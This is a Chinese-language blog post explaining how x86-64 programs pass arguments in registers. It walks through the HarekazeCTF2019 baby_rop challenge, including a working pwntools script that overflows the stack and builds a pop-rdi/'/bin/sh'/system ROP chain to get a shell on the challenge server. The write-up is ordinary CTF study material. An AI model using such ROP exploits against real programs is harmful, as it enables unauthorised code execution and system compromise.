Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >PWN 64位程序寄存器的使用

PWN 64位程序寄存器的使用

作者头像
yulate
发布于 2023-05-02 03:09:38
发布于 2023-05-02 03:09:38
57200
代码可运行
举报
运行总次数:0
代码可运行

本文最后更新于 556 天前,其中的信息可能已经有所发展或是发生改变。

刷题多了对寄存器开始有着一定的了解了,这篇文章就来总结一下。

六十四位汇编

当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。 当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。 参数个数大于 7 个的时候 H(a, b, c, d, e, f, g, h); a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9 h->8(%esp) g->(%esp) call H

也就是说在六十四位程序的payload构造过程中如果需要传入参数就需要对应的寄存器地址,如一个参数就需要进行寻找pop rdi地址

例题分析

[HarekazeCTF2019]baby_rop

分析

printf函数中的v4没做长度限制,很明显的栈溢出。

程序string中包含/bin/sh,但是没有函数调用,这里用pop rdi调用

payload
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
from pwn import *

context.log_level = 'debug'
p = remote("node4.buuoj.cn",28395)
elf = ELF('./babyrop')

system_addr = elf.symbols['system']
pop_rdi = 0x400683
binsh_addr =  0x601048

payload = b'a' * (0x10 + 8) +  p64(pop_rdi) + p64(binsh_addr) +p64(system_addr)
p.sendline(payload)
p.interactive()

参考资料

64位汇编参数传递:http://abcdxyzk.github.io/blog/2012/11/23/assembly-args/

浏览量: 262

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-10-18 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
JavaScript 前端笔记总结(精简)
JavaScript 一种直译式脚本语言,是一种动态类型、弱类型、基于原型的语言,内置支持类型,属于网络的脚本语言,现在已经被广泛用于Web应用开发,常用来为网页添加各式各样的动态功能,为用户提供更流畅美观的浏览效果,现在随着node.js引擎的出现,使得JavaScript逐步成为了一种全栈开发语言了.
王 瑞
2022/12/28
7.9K0
Web前端开发JavaScript提高
JS是基于对象的(Object-Based)脚本语言,而不是面向对象(Object-Oriented)中所使用的那个对象,之所以说JS是一门基于对象的编程语言,是因为它没有提供抽象,继承,封装等面向对象语言的很多功能,而是把其他语言所创建的复杂对象统一起来,从而形成一个非常强大的对象系统.
王 瑞
2022/12/28
2.5K0
Web前端开发JavaScript基础
JS通常有两种引入方式,理论上引入命令在body和head中都可以,但是推荐放在body代码块底部,因为Html代码是从上到下执行,如果Head中的js代码耗时严重,就会导致用户长时间无法看到页面,如果放置在body代码块底部,那么即使js代码耗时严重,也不会影响用户看到页面效果,只是js实现特效慢而已,规范化我们就直接将JS代码统统放在body的最底部.
王 瑞
2022/12/28
2.3K0
html & CSS & JavaScript的学习
一、HTML 1. 概念: 是最基础的网页开发语言 * Hyper Text Markup Language 超文本标记语言 * 超文本: * 超文本是用超链接的方法,将各种不同空间的文字信息组织在一起的网状文本。 * 标记语言: * 由标签构成的语言。<标签名称> 如 html,xml * 标记语言不是编程语言 2. 快速入门: * 语法: 1. html文档后缀名为.html或者 .htm 2. 标签分为:
Rochester
2020/09/01
6.2K0
Web前端开发JQuery框架笔记
ID选择器: 通过使用简单的$(#id)标识前缀,实现快速匹配指定ID的元素对象,具体用法如下.
王 瑞
2022/12/28
12.1K0
【叔小生】JavaScript进阶篇
如何插入JS JS基础语法 语法、函数、方法 提取字符串substring() substring() 方法用于提取字符串中介于两个指定下标之间的字符。
达达前端
2019/08/01
1.3K0
【叔小生】JavaScript进阶篇
JavaScript详细解析
我们之前的操作都是基于原生 JavaScript 的,比较繁琐。 JQuery 是一个前端框架技术,针对 JavaScript 进行了一系列的封装,使得操作变得非常简单! 期待吧……
全栈程序员站长
2022/09/09
1.6K0
JavaScript
JavaScript是一种web前端的描述语言,也是一种基于对象(Object)和事件驱动(Event Driven)的、安全性好的脚本语言。它运行在客户端从而减轻服务器的负担。
py3study
2020/01/19
2.2K0
JavaScript 学习(1)
参考资料:http://www.w3school.com.cn/js/index.asp
lpe234
2020/07/28
8750
JavaScript语法学习(一文带你学会JavaScript)
注:语言只是工具,都是为了帮助我们更好地实现具体场景中的流程。JavaScript作为前端的脚本语言,非常容易简单上手。本博客较为简练地描述了其基本功能,并没有书写很详细。有C语言基础的同学(很多和C语言的语法相似)看起来非常易懂。
全栈程序员站长
2022/10/02
7320
JavaScript语法学习(一文带你学会JavaScript)
JavaScript 笔记
    特点:         1. 弱类型          2. 基于对象。(因为面向对象需要具有封装、继承、多态的特征)
卓越笔记
2023/02/18
2K0
JavaScript 各种事件触发总结
鼠标 Click: 鼠标在一个对象上左键点击触发Click事件,对象包括button,document,checkbox,link,radio,submit.
王 瑞
2022/12/28
4.2K0
03 . 前端之JavaScipt
语法: splice(index,howmany,item1,.....,itemX)
iginkgo18
2020/09/27
1.5K0
03 . 前端之JavaScipt
【JavaScript脚本】——T2事件操作
【JavaScript脚本】——T2事件操作 自定义函数 function 函数名 ( 参数1,参数2){         执行语句 } function fun(obj){ return obj; } 函数的使用 可以通过调用函数名称的方式直接使用函数: <script> function max(x, y) { if (x > y) { return x; } else { return y;
红目香薰
2022/11/29
3890
Javascript提升阶段学习
JavaScript 1:javascript简介   JavaScript是一种脚本语言,能实现网页内容的交互显示,当用户在客户端显示该网页时,浏览器就会执行JavaScript程序,用户通过交互
别先生
2017/12/29
1.3K0
JavaScript学习总结(一)——ECMAScript、BOM、DOM(核心、浏览器对象模型与文档对象模型)
一、JavaScript简介 JavaScript是一种解释执行的脚本语言,是一种动态类型、弱类型、基于原型的语言,内置支持类型,它遵循ECMAScript标准。它的解释器被称为JavaScript引
张果
2018/01/04
3.9K0
JavaScript学习总结(一)——ECMAScript、BOM、DOM(核心、浏览器对象模型与文档对象模型)
JS起步阶段随笔【JavaScript】
只能放到标签里用,this 要时刻紧靠着它自己的环境,在函数内部可以用this,在标签内可以用,拿出去以后,就达不到想要的效果了,因为它所属的环境变了。
来杯Sherry
2023/05/25
5810
JavaScript基础①
你点我一下试试 <a href="javascript: alert('kick your ass');">你点我一下试试</a>
ymktchic
2022/01/18
2.9K0
JavaScript基础①
我们一起学JavaScript之面向对象
​ 在 Java 中我们学习过面向对象,核心思想是万物皆对象。在 JavaScript 中同样也有面向对象。思想类似。
楠羽
2022/11/18
3770
我们一起学JavaScript之面向对象
前端学习之JavaScript
尽管 ECMAScript 是一个重要的标准,但它并不是 JavaScript 唯一的部分,当然,也不是唯一被标准化的部分。实际上,一个完整的 JavaScript 实现是由以下 3 个不同部分组成的:
超蛋lhy
2018/08/31
1.8K0
前端学习之JavaScript
相关推荐
JavaScript 前端笔记总结(精简)
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档